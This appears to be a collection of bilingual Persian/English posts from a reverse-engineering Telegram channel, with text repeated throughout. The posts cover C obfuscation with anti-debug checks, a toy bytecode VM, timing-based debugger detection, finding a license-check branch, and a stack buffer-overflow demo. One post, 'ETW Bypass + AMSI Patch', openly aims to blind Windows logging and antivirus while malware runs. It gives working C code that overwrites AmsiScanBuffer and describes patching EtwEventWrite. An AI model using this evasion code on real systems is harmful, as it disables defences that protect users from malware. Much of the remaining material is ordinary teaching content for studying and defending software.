ساخت Obfuscator ساده با زبان C
🎯 هدف:
یاد بگیری چطور میشه یک برنامهی C ساده رو به شکل سختخوان گمراهکننده و ضد دیباگ دربیاری این کار باعث میشه یک تحلیلگر مهندسی معکوس بهراحتی نتونه منطق اصلی کدت رو درک کنه
💻 مثال پایه: قبل از Obfuscation
🕳️ حالا بیایم این کد رو Obfuscate کنیم:
✅ مرحله اول – جایگزینی متغیرهای معنادار با نامهای بیمعنی
✅ مرحله دوم – افزودن Junk Code
✅ مرحله سوم – کنترل جریان پیچیده
✅ مرحله چهارم – اضافه کردن Anti-Debug (برای ویندوز)
و صدا زدنش در main:
🔥 نسخه Obfuscated شده کامل:
🔧 Building a Simple Obfuscator in C
🎯 Goal:
Learn how to turn a simple C program into something hard to read, misleading, and anti-debugging. This helps prevent reverse engineers from easily understanding the logic of your code.
💻 Basic Example: Before Obfuscation
🕳️ Now, let’s obfuscate this code:
✅ Step 1 – Replace meaningful variable names with meaningless ones
✅ Step 2 – Add Junk Code
✅ Step 3 – Add Complex Control Flow
✅ Step 4 – Add Anti-Debugging (for Windows)
🔥 Final Obfuscated Version:
🎯 هدف:
یاد بگیری چطور میشه یک برنامهی C ساده رو به شکل سختخوان گمراهکننده و ضد دیباگ دربیاری این کار باعث میشه یک تحلیلگر مهندسی معکوس بهراحتی نتونه منطق اصلی کدت رو درک کنه
💻 مثال پایه: قبل از Obfuscation
#include <stdio.h>
int main() {
int a = 10;
int b = 5;
int c = a + b;
printf("Result: %d\n", c);
return 0;
}
🕳️ حالا بیایم این کد رو Obfuscate کنیم:
✅ مرحله اول – جایگزینی متغیرهای معنادار با نامهای بیمعنی
int x1 = 10;
int x2 = 5;
int x3 = x1 + x2;
✅ مرحله دوم – افزودن Junk Code
int trash1 = 123;
trash1 += 456;
trash1 -= 789;
✅ مرحله سوم – کنترل جریان پیچیده
switch (x1) {
case 10:
if (x2 == 5) {
x3 = x1 + x2;
} else {
x3 = 0;
}
break;
default:
x3 = 0;
}
✅ مرحله چهارم – اضافه کردن Anti-Debug (برای ویندوز)
#ifdef _WIN32
#include <windows.h>
void anti_debug() {
if (IsDebuggerPresent()) {
exit(1);
}
}
#endif
و صدا زدنش در main:
#ifdef _WIN32
anti_debug();
#endif
🔥 نسخه Obfuscated شده کامل:
#include <stdio.h>
#ifdef _WIN32
#include <windows.h>
#endif
#ifdef _WIN32
void anti_debug() {
if (IsDebuggerPresent()) {
exit(1);
}
}
#endif
int main() {
#ifdef _WIN32
anti_debug();
#endif
int x1 = 10;
int x2 = 5;
int trash1 = 123;
trash1 += 456;
trash1 -= 789;
int x3 = 0;
switch (x1) {
case 10:
if (x2 == 5) {
x3 = x1 + x2;
} else {
x3 = 0;
}
break;
default:
x3 = 0;
}
printf("Result: %d\n", x3);
return 0;
}
🔧 Building a Simple Obfuscator in C
🎯 Goal:
Learn how to turn a simple C program into something hard to read, misleading, and anti-debugging. This helps prevent reverse engineers from easily understanding the logic of your code.
💻 Basic Example: Before Obfuscation
#include <stdio.h>
int main() {
int a = 10;
int b = 5;
int c = a + b;
printf("Result: %d\n", c);
return 0;
}
🕳️ Now, let’s obfuscate this code:
✅ Step 1 – Replace meaningful variable names with meaningless ones
int x1 = 10;
int x2 = 5;
int x3 = x1 + x2;
✅ Step 2 – Add Junk Code
int trash1 = 123;
trash1 += 456;
trash1 -= 789;
✅ Step 3 – Add Complex Control Flow
switch (x1) {
case 10:
if (x2 == 5) {
x3 = x1 + x2;
} else {
x3 = 0;
}
break;
default:
x3 = 0;
}
✅ Step 4 – Add Anti-Debugging (for Windows)
#ifdef _WIN32
#include <windows.h>
void anti_debug() {
if (IsDebuggerPresent()) {
exit(1);
}
}
#endif
And call it in main:
#ifdef _WIN32
anti_debug();
#endif
🔥 Final Obfuscated Version:
#include <stdio.h>
#ifdef _WIN32
#include <windows.h>
#endif
#ifdef _WIN32
void anti_debug() {
if (IsDebuggerPresent()) {
exit(1);
}
}
#endif
int main() {
#ifdef _WIN32
anti_debug();
#endif
int x1 = 10;
int x2 = 5;
int trash1 = 123;
trash1 += 456;
trash1 -= 789;
int x3 = 0;
switch (x1) {
case 10:
if (x2 == 5) {
x3 = x1 + x2;
} else {
x3 = 0;
}
break;
default:
x3 = 0;
}
printf("Result: %d\n", x3);
return 0;
}
❤🔥3❤1👍1
🧠 شبیهسازی سادهی VMProtect با یک ماشین مجازی دستساز در C
🎯 هدف:
درک پایهای از اینکه VM-Based Obfuscation مثل VMProtect چطور کار میکنه ما یک زبان خیلی ساده اختراع میکنیم، یه ماشین مجازی خیلی سبک مینویسیم و کدمون رو به دستوراتی از این ماشین ترجمه میکنیم
🧠 مفهوم کلی VM-Based Obfuscation
VMProtect، Themida و شبیههای اونها بخشهایی از کد رو از زبان اسمبلی واقعی تبدیل میکنن به یکسری دستور مخصوص که فقط ماشین مجازی خودشون میفهمه.
🔒 این کار باعث میشه تحلیلگر نتونه مستقیم توابع اصلی رو ببینه
🛠️ قدم اول: تعریف یک زبان بسیار ساده
فرض کنیم زبان ما ۳ دستور داره:
کد دستور عملکرد
01 PUSH_VAL
مقدار رو روی استک بذار
02 ADD
دو مقدار از استک بردار و جمع بزن
03 PRINT
مقدار بالا رو پرینت کن
📦 قدم دوم: تعریف کد Bytecode برنامه
ما میخوایم 10 + 20 رو محاسبه و چاپ کنیم.
کد Bytecode اون بهصورت باینری:
🧰 قدم سوم: پیادهسازی ماشین مجازی در C
🧨 خروجی:
Result: 30
🤯 نکته مهم:
کدی که در این VM اجرا میشه از دید دیکامپایلرها مثل Ghidra یک بلاک غیر قابل درک به نظر میرسه چون توابع اصلی برنامه داخل VM مخفی شدن
🧠 Simple VMProtect Simulation with a Custom Virtual Machine in C
🎯 Goal:
Understand the basics of how VM-Based Obfuscation (like VMProtect) works.
We’ll invent a super simple language, write a minimal virtual machine, and translate our code into that VM's instructions.
🧠 General Concept of VM-Based Obfuscation
Tools like VMProtect, Themida, and similar ones convert parts of the code from real assembly into custom instructions that only their own virtual machine understands.
🔒 This makes it much harder for reverse engineers to directly analyze key functions.
🛠️ Step 1: Define a Very Simple Language
Let’s say our language supports just 3 instructions:
Code Instruction Action
01 PUSH_VAL Push a value onto the stack
02 ADD Pop two values, add them, push result
03 PRINT Print the value on top of the stack
📦 Step 2: Define the Bytecode of Our Program
We want to compute and print 10 + 20.
The binary bytecode would be:
🧰 Step 3: Implementing the Virtual Machine in C
🎯 هدف:
درک پایهای از اینکه VM-Based Obfuscation مثل VMProtect چطور کار میکنه ما یک زبان خیلی ساده اختراع میکنیم، یه ماشین مجازی خیلی سبک مینویسیم و کدمون رو به دستوراتی از این ماشین ترجمه میکنیم
🧠 مفهوم کلی VM-Based Obfuscation
VMProtect، Themida و شبیههای اونها بخشهایی از کد رو از زبان اسمبلی واقعی تبدیل میکنن به یکسری دستور مخصوص که فقط ماشین مجازی خودشون میفهمه.
🔒 این کار باعث میشه تحلیلگر نتونه مستقیم توابع اصلی رو ببینه
🛠️ قدم اول: تعریف یک زبان بسیار ساده
فرض کنیم زبان ما ۳ دستور داره:
کد دستور عملکرد
01 PUSH_VAL
مقدار رو روی استک بذار
02 ADD
دو مقدار از استک بردار و جمع بزن
03 PRINT
مقدار بالا رو پرینت کن
📦 قدم دوم: تعریف کد Bytecode برنامه
ما میخوایم 10 + 20 رو محاسبه و چاپ کنیم.
کد Bytecode اون بهصورت باینری:
01 0A ; PUSH_VAL 10
01 14 ; PUSH_VAL 20
02 ; ADD
03 ; PRINT
🧰 قدم سوم: پیادهسازی ماشین مجازی در C
#include <stdio.h>
#include <stdlib.h>
#define PUSH_VAL 0x01
#define ADD 0x02
#define PRINT 0x03
unsigned char bytecode[] = {
0x01, 0x0A, // PUSH 10
0x01, 0x14, // PUSH 20
0x02, // ADD
0x03 // PRINT
};
int stack[100];
int sp = -1;
void push(int val) {
stack[++sp] = val;
}
int pop() {
return stack[sp--];
}
void run_vm() {
int pc = 0;
while (pc < sizeof(bytecode)) {
unsigned char op = bytecode[pc++];
switch (op) {
case PUSH_VAL:
push(bytecode[pc++]);
break;
case ADD: {
int b = pop();
int a = pop();
push(a + b);
break;
}
case PRINT:
printf("Result: %d\n", pop());
break;
default:
printf("Invalid opcode: %02x\n", op);
return;
}
}
}
int main() {
run_vm();
return 0;
}
🧨 خروجی:
Result: 30
🤯 نکته مهم:
کدی که در این VM اجرا میشه از دید دیکامپایلرها مثل Ghidra یک بلاک غیر قابل درک به نظر میرسه چون توابع اصلی برنامه داخل VM مخفی شدن
🧠 Simple VMProtect Simulation with a Custom Virtual Machine in C
🎯 Goal:
Understand the basics of how VM-Based Obfuscation (like VMProtect) works.
We’ll invent a super simple language, write a minimal virtual machine, and translate our code into that VM's instructions.
🧠 General Concept of VM-Based Obfuscation
Tools like VMProtect, Themida, and similar ones convert parts of the code from real assembly into custom instructions that only their own virtual machine understands.
🔒 This makes it much harder for reverse engineers to directly analyze key functions.
🛠️ Step 1: Define a Very Simple Language
Let’s say our language supports just 3 instructions:
Code Instruction Action
01 PUSH_VAL Push a value onto the stack
02 ADD Pop two values, add them, push result
03 PRINT Print the value on top of the stack
📦 Step 2: Define the Bytecode of Our Program
We want to compute and print 10 + 20.
The binary bytecode would be:
01 0A ; PUSH_VAL 10
01 14 ; PUSH_VAL 20
02 ; ADD
03 ; PRINT
🧰 Step 3: Implementing the Virtual Machine in C
#include <stdio.h>
#include <stdlib.h>
#define PUSH_VAL 0x01
#define ADD 0x02
#define PRINT 0x03
unsigned char bytecode[] = {
0x01, 0x0A, // PUSH 10
0x01, 0x14, // PUSH 20
0x02, // ADD
0x03 // PRINT
};
int stack[100];
int sp = -1;
void push(int val) {
stack[++sp] = val;
}
int pop() {
return stack[sp--];
}
void run_vm() {
int pc = 0;
while (pc < sizeof(bytecode)) {
unsigned char op = bytecode[pc++];
switch (op) {
case PUSH_VAL:
push(bytecode[pc++]);
break;
🔥2
🛡 استفاده از Timing Checks برای شناسایی دیباگر
یکی از روشهای ساده اما مؤثر برای فهمیدن این که برنامه تحت دیباگ اجرا میشه یا نه، چک کردن زمان اجرای بخشهای مشخصی از کد هست.
ایده اینه که وقتی دیباگر در حال بررسی برنامهست، به دلیل توقفهای مکرر (Breakpoints) و اجرای مرحلهبهمرحله (Step-by-step)، اجرای کد بهطور قابلتوجهی کندتر میشه
1️⃣ ایده اصلی
برنامه یک بازه زمانی رو اندازهگیری میکنه و اگر زمان بیشتر از حد انتظار باشه → یعنی احتمالاً دیباگر فعال بوده
2️⃣ روش پیادهسازی
دو روش رایج وجود داره:
APIهای سیستمعامل مثل GetTickCount, QueryPerformanceCounter در ویندوز
دستورات CPU مثل RDTSC که زمان CPU cycle رو میده
مثال اسمبلی (x86)
مثال C (Windows API)
🛡 Using Timing Checks to Detect a Debugger
One of the simplest yet effective techniques to determine if a program is running under a debugger is measuring execution time for specific parts of the code.
The idea: when a debugger is attached, due to frequent pauses (breakpoints) and step-by-step execution, the program runs noticeably slower.
1️⃣ Core Idea
The program measures a time window, and if the execution takes longer than expected → it likely means a debugger is active.
2️⃣ Implementation Methods
Two common approaches exist:
OS APIs such as GetTickCount, QueryPerformanceCounter (on Windows)
CPU instructions like RDTSC which return the CPU cycle count
Assembly Example (x86)
C Example (Windows API)
یکی از روشهای ساده اما مؤثر برای فهمیدن این که برنامه تحت دیباگ اجرا میشه یا نه، چک کردن زمان اجرای بخشهای مشخصی از کد هست.
ایده اینه که وقتی دیباگر در حال بررسی برنامهست، به دلیل توقفهای مکرر (Breakpoints) و اجرای مرحلهبهمرحله (Step-by-step)، اجرای کد بهطور قابلتوجهی کندتر میشه
1️⃣ ایده اصلی
برنامه یک بازه زمانی رو اندازهگیری میکنه و اگر زمان بیشتر از حد انتظار باشه → یعنی احتمالاً دیباگر فعال بوده
2️⃣ روش پیادهسازی
دو روش رایج وجود داره:
APIهای سیستمعامل مثل GetTickCount, QueryPerformanceCounter در ویندوز
دستورات CPU مثل RDTSC که زمان CPU cycle رو میده
مثال اسمبلی (x86)
rdtsc ; Read Time-Stamp Counter
mov ebx, eax ; Save start time
; ---- Target code ----
nop
nop
nop
; ---------------------
rdtsc
sub eax, ebx ; Calculate elapsed cycles
cmp eax, 100 ; If cycles > threshold
jg DebuggerFound
مثال C (Windows API)
#include <windows.h>
#include <stdio.h>
int main() {
DWORD start = GetTickCount();
Sleep(10); // Simulate some work
DWORD end = GetTickCount();
if ((end - start) > 20) {
printf("Debugger detected!\n");
} else {
printf("No debugger detected.\n");
}
return 0;
}
🛡 Using Timing Checks to Detect a Debugger
One of the simplest yet effective techniques to determine if a program is running under a debugger is measuring execution time for specific parts of the code.
The idea: when a debugger is attached, due to frequent pauses (breakpoints) and step-by-step execution, the program runs noticeably slower.
1️⃣ Core Idea
The program measures a time window, and if the execution takes longer than expected → it likely means a debugger is active.
2️⃣ Implementation Methods
Two common approaches exist:
OS APIs such as GetTickCount, QueryPerformanceCounter (on Windows)
CPU instructions like RDTSC which return the CPU cycle count
Assembly Example (x86)
rdtsc ; Read Time-Stamp Counter
mov ebx, eax ; Save start time
; ---- Target code ----
nop
nop
nop
; ---------------------
rdtsc
sub eax, ebx ; Calculate elapsed cycles
cmp eax, 100 ; If cycles > threshold
jg DebuggerFound
C Example (Windows API)
#include <windows.h>
#include <stdio.h>
int main() {
DWORD start = GetTickCount();
Sleep(10); // Simulate some work
DWORD end = GetTickCount();
if ((end - start) > 20) {
printf("Debugger detected!\n");
} else {
printf("No debugger detected.\n");
}
return 0;
}
❤3
🛡️ ETW Bypass + AMSI Patch
«کور کردن چشم ویندوز قبل از اجرای کد»
🎯 مشکل چیه؟
وقتی بدافزار یا اسکریپت مخرب رو روی سیستم اجرا میکنی حتی اگر AV رو دور زده باشی دو مکانیزم پیشفرض ویندوز هنوز میتونن گزارش بدن:
1 ETW
(Event Tracing for Windows)
سیستم مانیتورینگ داخلی ویندوز که کلی Event از اجرای پروسهها فراخوانی APIها و حتی Syscallها لاگ میکنه
2 AMSI (Antimalware Scan Interface)
قبل از اجرای کدهای Script-based مثل PowerShell یا VBA محتوا رو به AV میفرسته تا اسکن بشه
💡 راهحل:
ETW Bypass:
تغییر یا پچ کردن توابع ETW مثل EtwEventWrite تا چیزی لاگ نشه
AMSI Patch:
تغییر خروجی AmsiScanBuffer به S_OK یعنی کد سالمه تا AV هیچی رو مسدود نکنه
🧬 مراحل کلی ETW Bypass:
1 گرفتن آدرس تابع EtwEventWrite از ntdll.dll
2 پچ کردن چند بایت اولش (معمولا xor rax, rax; ret)
3 اطمینان از اعمال پچ قبل از شروع عملیات حساس
🧬 مراحل کلی AMSI Patch:
1 گرفتن هندل به amsi.dll
2 یافتن آدرس AmsiScanBuffer
3 تغییر اولین دستور به برگشت مقدار 0 (S_OK)
4 بعد از این هر کد مشکوک سالم گزارش میشه
🛠️ نمونه کد AMSI Patch (C):
✅ مزایا:
جلوی لاگ شدن فعالیتهای مشکوک توسط ویندوز گرفته میشه
جلوی اسکن محتوای اسکریپتها توسط AV رو میگیره
ترکیب ETW + AMSI Patch باعث میشه EDR/XDR کور بشن
⚠️ چالشها:
بسیاری از EDRها تلاش برای پچ کردن این توابع رو هم مانیتور میکنن
باید با Direct Syscalls یا Manual Unhook ترکیب بشه برای پایداری
🛡️ ETW Bypass + AMSI Patch
Blinding Windows before executing code
🎯 What’s the problem?
When you run malware or a malicious script on a system even if you’ve bypassed the AV two default Windows mechanisms can still report it:
1 ETW (Event Tracing for Windows) Windows’ internal monitoring system that logs a huge number of events from process execution API calls and even syscalls
2 AMSI (Antimalware Scan Interface)
Before executing script-based code like PowerShell or VBA it sends the content to the AV for scanning
💡 The solution:
ETW Bypass
Modify or patch ETW functions like EtwEventWrite so that nothing gets logged
AMSI Patch
Change the return value of AmsiScanBuffer to S_OK (meaning code is clean) so the AV won’t block anything
🧬 General Steps for ETW Bypass:
1 Get the address of EtwEventWrite from ntdll.dll
2 Patch the first few bytes (usually xor rax, rax; ret)
3 Ensure the patch is applied before starting sensitive operations
🧬 General Steps for AMSI Patch:
1 Get a handle to amsi.dll
2 Find the address of AmsiScanBuffer
3 Change the first instruction to return 0 (S_OK)
4 After this, any suspicious code reported as clean
🛠️ Sample AMSI Patch Code (C):
✅ Advantages:
Prevents Windows from logging suspicious activities
Stops the AV from scanning script contents
Combining ETW + AMSI patch can blind EDR/XDR solutions
⚠️ Challenges:
Many EDRs monitor attempts to patch these functions
Needs to be combined with Direct Syscalls or Manual Unhooking for stability
«کور کردن چشم ویندوز قبل از اجرای کد»
🎯 مشکل چیه؟
وقتی بدافزار یا اسکریپت مخرب رو روی سیستم اجرا میکنی حتی اگر AV رو دور زده باشی دو مکانیزم پیشفرض ویندوز هنوز میتونن گزارش بدن:
1 ETW
(Event Tracing for Windows)
سیستم مانیتورینگ داخلی ویندوز که کلی Event از اجرای پروسهها فراخوانی APIها و حتی Syscallها لاگ میکنه
2 AMSI (Antimalware Scan Interface)
قبل از اجرای کدهای Script-based مثل PowerShell یا VBA محتوا رو به AV میفرسته تا اسکن بشه
💡 راهحل:
ETW Bypass:
تغییر یا پچ کردن توابع ETW مثل EtwEventWrite تا چیزی لاگ نشه
AMSI Patch:
تغییر خروجی AmsiScanBuffer به S_OK یعنی کد سالمه تا AV هیچی رو مسدود نکنه
🧬 مراحل کلی ETW Bypass:
1 گرفتن آدرس تابع EtwEventWrite از ntdll.dll
2 پچ کردن چند بایت اولش (معمولا xor rax, rax; ret)
3 اطمینان از اعمال پچ قبل از شروع عملیات حساس
🧬 مراحل کلی AMSI Patch:
1 گرفتن هندل به amsi.dll
2 یافتن آدرس AmsiScanBuffer
3 تغییر اولین دستور به برگشت مقدار 0 (S_OK)
4 بعد از این هر کد مشکوک سالم گزارش میشه
🛠️ نمونه کد AMSI Patch (C):
#include <windows.h>
#include <stdio.h>
void PatchAMSI() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (hAmsi) {
void* pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
memset(pAmsiScanBuffer, 0x90, 6); // NOP
VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect);
}
}
int main() {
PatchAMSI();
printf("AMSI Patched!\n");
}
✅ مزایا:
جلوی لاگ شدن فعالیتهای مشکوک توسط ویندوز گرفته میشه
جلوی اسکن محتوای اسکریپتها توسط AV رو میگیره
ترکیب ETW + AMSI Patch باعث میشه EDR/XDR کور بشن
⚠️ چالشها:
بسیاری از EDRها تلاش برای پچ کردن این توابع رو هم مانیتور میکنن
باید با Direct Syscalls یا Manual Unhook ترکیب بشه برای پایداری
🛡️ ETW Bypass + AMSI Patch
Blinding Windows before executing code
🎯 What’s the problem?
When you run malware or a malicious script on a system even if you’ve bypassed the AV two default Windows mechanisms can still report it:
1 ETW (Event Tracing for Windows) Windows’ internal monitoring system that logs a huge number of events from process execution API calls and even syscalls
2 AMSI (Antimalware Scan Interface)
Before executing script-based code like PowerShell or VBA it sends the content to the AV for scanning
💡 The solution:
ETW Bypass
Modify or patch ETW functions like EtwEventWrite so that nothing gets logged
AMSI Patch
Change the return value of AmsiScanBuffer to S_OK (meaning code is clean) so the AV won’t block anything
🧬 General Steps for ETW Bypass:
1 Get the address of EtwEventWrite from ntdll.dll
2 Patch the first few bytes (usually xor rax, rax; ret)
3 Ensure the patch is applied before starting sensitive operations
🧬 General Steps for AMSI Patch:
1 Get a handle to amsi.dll
2 Find the address of AmsiScanBuffer
3 Change the first instruction to return 0 (S_OK)
4 After this, any suspicious code reported as clean
🛠️ Sample AMSI Patch Code (C):
#include <windows.h>
#include <stdio.h>
void PatchAMSI() {
HMODULE hAmsi = LoadLibraryA("amsi.dll");
if (hAmsi) {
void* pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
DWORD oldProtect;
VirtualProtect(pAmsiScanBuffer, 6, PAGE_EXECUTE_READWRITE, &oldProtect);
memset(pAmsiScanBuffer, 0x90, 6); // NOP
VirtualProtect(pAmsiScanBuffer, 6, oldProtect, &oldProtect);
}
}
int main() {
PatchAMSI();
printf("AMSI Patched!\n");
}
✅ Advantages:
Prevents Windows from logging suspicious activities
Stops the AV from scanning script contents
Combining ETW + AMSI patch can blind EDR/XDR solutions
⚠️ Challenges:
Many EDRs monitor attempts to patch these functions
Needs to be combined with Direct Syscalls or Manual Unhooking for stability
❤1👏1
پیدا کردن شرط چک لایسنس یا رمز
چی کار میکنیم؟
میخوایم بخش هایی از برنامه که رمز لایسنس رو بررسی میکنن پیدا کنیم بفهمیم چه توابعی استفاده شده و دقیقا کجا برنامه تصمیم میگیره اجازه بده یا نده
نمونه برنامه ساده مثال برای تمرین C:
مرحله به مرحله:
فایل رو کامپایل کنید مثلا gcc test.c -o test.exe و یه نسخه کپی نگه دارید
با strings test.exe نگاه کنید ببینید رشتهها مثل Enter pass: Access granted کجا هستن اینا کمک میکنن موقعیت منطقی برنامه رو حدس بزنید
فایل رو توی IDA یا Ghidra باز کنید دنبال رشتههای بالا بگردید Search _ Strings و از اونجا به تابع مربوط برید معمولا رشتهها به راحتی به توابع استفاده شون لینک میشن
توی دیاسمبل دنبال strcmp یا strncmp یا هر تابع مقایسه رشتهای باشید نزدیک این فراخوانیها معمولا شرط تصمیمگیرنده cmp + jz / jne / je / jne هست
نقطهای که بعد از cmp یه JE یا JNE میبینید همونجا تصمیم گیرنده است اگه شرط برقرار باشه برنامه به شاخه موفقیت میره وگرنه پیام رد میشه
نکات:
دنبال cmp eax, 0
یا مقایسه بازگشتی strcmp(...) == 0 باشید
رشتهها بهترین نقطه شروع برای مسیردهی در باینری هستن
همه اینا استاتیکه هنوز برنامه رو اجرا نکردید
تمرین:
خودتون کد بالا رو کامپایل کنید و توی IDA/Ghidra مسیر از رشته _ تابع cmp _ jump رو دنبال کنید
Finding the license or password
Check condition
What are we doing?
We want to find the parts of the program that check the license password, understand what functions are used and where exactly the program decides to allow or deny
Simple program example for practice C :
Step by step :
Compile the file, e.g. gcc test.c -o test.exe and keep a copy
Look at strings test.exe and see where strings like Enter pass : Access granted are. These will help you guess the logical position of the program
Open the file in IDA or Ghidra and search for the above strings. Search Strings and from there go to the corresponding function. Usually strings are easily linked to the functions they use.
Look for strcmp or strncmp or any string comparison function in the disassembler. Near these calls there is usually a decision-maker condition
cmp + jz / jne / je / jne
The point where you see a JE or JNE after cmp is the decision-maker. If the condition is true, the program goes to the success branch, otherwise the message is rejected.
Tips :
Look for cmp eax, 0
or the recursive comparison strcmp(...) == 0
Strings are the best starting point for routing in binary
This is all static you haven't run the program yet
Exercise :
Compile the above code yourself and follow the path from string cmp function jump in IDA/Ghidra
@reverseengine
چی کار میکنیم؟
میخوایم بخش هایی از برنامه که رمز لایسنس رو بررسی میکنن پیدا کنیم بفهمیم چه توابعی استفاده شده و دقیقا کجا برنامه تصمیم میگیره اجازه بده یا نده
نمونه برنامه ساده مثال برای تمرین C:
#include <stdio.h>
#include <string.h>
int main() {
char buf[32];
printf("Enter pass: ");
scanf("%31s", buf);
if (strcmp(buf, "1234") == 0) {
printf("Access granted\n");
} else {
printf("Access denied\n");
}
return 0;
}
مرحله به مرحله:
فایل رو کامپایل کنید مثلا gcc test.c -o test.exe و یه نسخه کپی نگه دارید
با strings test.exe نگاه کنید ببینید رشتهها مثل Enter pass: Access granted کجا هستن اینا کمک میکنن موقعیت منطقی برنامه رو حدس بزنید
فایل رو توی IDA یا Ghidra باز کنید دنبال رشتههای بالا بگردید Search _ Strings و از اونجا به تابع مربوط برید معمولا رشتهها به راحتی به توابع استفاده شون لینک میشن
توی دیاسمبل دنبال strcmp یا strncmp یا هر تابع مقایسه رشتهای باشید نزدیک این فراخوانیها معمولا شرط تصمیمگیرنده cmp + jz / jne / je / jne هست
نقطهای که بعد از cmp یه JE یا JNE میبینید همونجا تصمیم گیرنده است اگه شرط برقرار باشه برنامه به شاخه موفقیت میره وگرنه پیام رد میشه
نکات:
دنبال cmp eax, 0
یا مقایسه بازگشتی strcmp(...) == 0 باشید
رشتهها بهترین نقطه شروع برای مسیردهی در باینری هستن
همه اینا استاتیکه هنوز برنامه رو اجرا نکردید
تمرین:
خودتون کد بالا رو کامپایل کنید و توی IDA/Ghidra مسیر از رشته _ تابع cmp _ jump رو دنبال کنید
Finding the license or password
Check condition
What are we doing?
We want to find the parts of the program that check the license password, understand what functions are used and where exactly the program decides to allow or deny
Simple program example for practice C :
#include <stdio.h>
#include <string.h>
int main() {
char buf[32];
printf("Enter pass: ");
scanf("%31s", buf);
if (strcmp(buf, "1234") == 0) {
printf("Access granted\n");
} else {
printf("Access denied\n");
}
return 0;
}
Step by step :
Compile the file, e.g. gcc test.c -o test.exe and keep a copy
Look at strings test.exe and see where strings like Enter pass : Access granted are. These will help you guess the logical position of the program
Open the file in IDA or Ghidra and search for the above strings. Search Strings and from there go to the corresponding function. Usually strings are easily linked to the functions they use.
Look for strcmp or strncmp or any string comparison function in the disassembler. Near these calls there is usually a decision-maker condition
cmp + jz / jne / je / jne
The point where you see a JE or JNE after cmp is the decision-maker. If the condition is true, the program goes to the success branch, otherwise the message is rejected.
Tips :
Look for cmp eax, 0
or the recursive comparison strcmp(...) == 0
Strings are the best starting point for routing in binary
This is all static you haven't run the program yet
Exercise :
Compile the above code yourself and follow the path from string cmp function jump in IDA/Ghidra
@reverseengine
❤2👏1
بخش دوم بافر اورفلو
چطور استک کار میکنه؟ (فریم تابع و آدرس بازگشت)
ساختار فریم تابع در استک
نمایش saved return address و saved base pointer یادگرفتن اینکه چجوری ببینیم فریم ها داخل دیباگر و تشخیص نقاطی ان که overflow میتونه تاثیر بزاره روشون
میخایم بفهمیم وقتی یک تابع فراخوانی میشه چه چیزی روی استک قرار میگیره و چرا این برای بافر اورفلو مهمه
فریم تابع و آدرس بازگشت رو بررسی میکنیم و یاد میگیریم چطور در gdb فریم ها رو ببینیم
وقتی تابعی فراخوانی میشه یک فریم روی استک ساخته میشه فریم شامل پارامترها و local variables و saved base pointer و saved return address است
در معماری x86 64 معمولا که رجیستر rbp برای لینک فریم استفاده میشه و آدرس بازگشت بالای فریم قرار میگیره اگر یک بافر محلی روی استک قرار داشته باشه و داده بیش از حد نوشته بشه میتونه تا saved rbp و saved return address میتونه پیش بره و اونها رو بازنویسی کنه بازنویسی saved return address یعنی وقتی تابع برمیگرده برنامه ممکنه به جای آدرس درست به آدرس دیگه ای بره یا کرش کنه
نمایش فریم در دیباگر
در gdb با دستور backtrace میتونیم زنجیره فراخوانی ها رو ببینیم
با دستور info frame یا display memory میتونیم محتوای فریم جاری رو مشاهده کنیم
ما میگیم saved return address کجاست و چجوری میتونیم offset بین ابتدای بافر و آدرس بازگشت رو محاسبه کنیم
کد فایل demo2c
#include <stdio.h>
#include <string.h>
void vulnerable(char *input) {
char buffer[24];
printf("in vulnerable function\n");
strcpy(buffer, input);
printf("after strcpy\n");
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage demo2 input\n");
return 1;
}
vulnerable(argv[1]);
printf("returned normally\n");
return 0;
}
راهنمای اجرا
gcc -g demo2.c -o demo2
در VM امن و با snapshot اجرا کنید
gdb --args ./demo2 $(python3 -c "print('A'*80)")
داخل gdb از دستورات زیر استفاده کنید
break vulnerable
run
info frame
x/40gx $rbp
disassemble
continue
بعد از کرش از backtrace استفاده کنید
Part 2 Buffer Overflow
How does stack work? (Function Frame and Return Address)
Function Frame Structure on the Stack
Showing Saved Return Address and Saved Base Pointer Learn how to view frames in the debugger and identify where they can be affected by overflow
We want to understand what goes on the stack when a function is called and why this is important for buffer overflow
We will examine the function frame and return address and learn how to view frames in gdb
When a function is called, a frame is created on the stack. The frame contains parameters and local variables, the saved base pointer, and the saved return address
In the x86 64 architecture, the rbp register is usually used for frame linking and the return address is placed above the frame. If a local buffer is on the stack and too much data is written, it can go up to the saved rbp and saved return address and overwrite them. Overwriting the saved return address means that when the function returns, the program may go to another address instead of the correct address or Crash
Displaying frames in the debugger
In gdb, with the backtrace command, we can see the chain of calls
With the info frame or display memory command, we can see the contents of the current frame
We say where the saved return address is and how we can calculate the offset between the beginning of the buffer and the return address
Demo2c file code
#include <stdio.h>
#include <string.h>
void vulnerable(char *input) {
char buffer[24];
printf("in vulnerable function\n");
strcpy(buffer, input);
printf("after strcpy\n");
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage demo2 input\n");
return 1;
}
vulnerable(argv[1]);
printf("returned normally\n");
return 0;
}
Run Guide
gcc -g demo2.c -o demo2
Run in a secure VM with snapshot
gdb --args ./demo2 $(python3 -c "print('A'*80)")
Inside gdb use the following commands
break vulnerable
run
info frame
x/40gx $rbp
disassemble
continue
Use backtrace after crash
@reverseengine
👍3❤2
Virtualization-based protection
بعضی محافظ ها کد اصلی رو تبدیل میکنن به یه بایت کد و یه مفسر/VM داخل برنامه میذارن که این بایت کد رو اجرا کنه این باعث میشه دیساسمبل مستقیم بی معنی یا سخت باشه
چطوری تشخیص بدیم یه باینری virtualized هست؟
وجود یه لوپ dispatcher بزرگ یک حلقه طولانی که بسته به مقدارِ یه متغیر شاخه رو انتخاب میکنه
خیلی از توابع یا بلاک ها به جای ASM معمولی فراخوانی هایی به یه مفسر/تابع dispatcher دارن
حجم زیادی از جدول بایت کد یا داده های عجیب داخل بخش .rdata/.data.
کنترل جریان عجیب و شاخه های نامعمول که توی دیساسمبل قابل فهم نیستن
سرعت اجرای توابع نسبت به کد نِیِتیو خیلی پایینتر چون مفسره
ابزارای مفید برای تشخیص و آنالیز:
IDA / Ghidra برای دیدن الگوها و dispatcher
x64dbg runtime
پیدا کردن جایی که dispatcher اجرا میشه
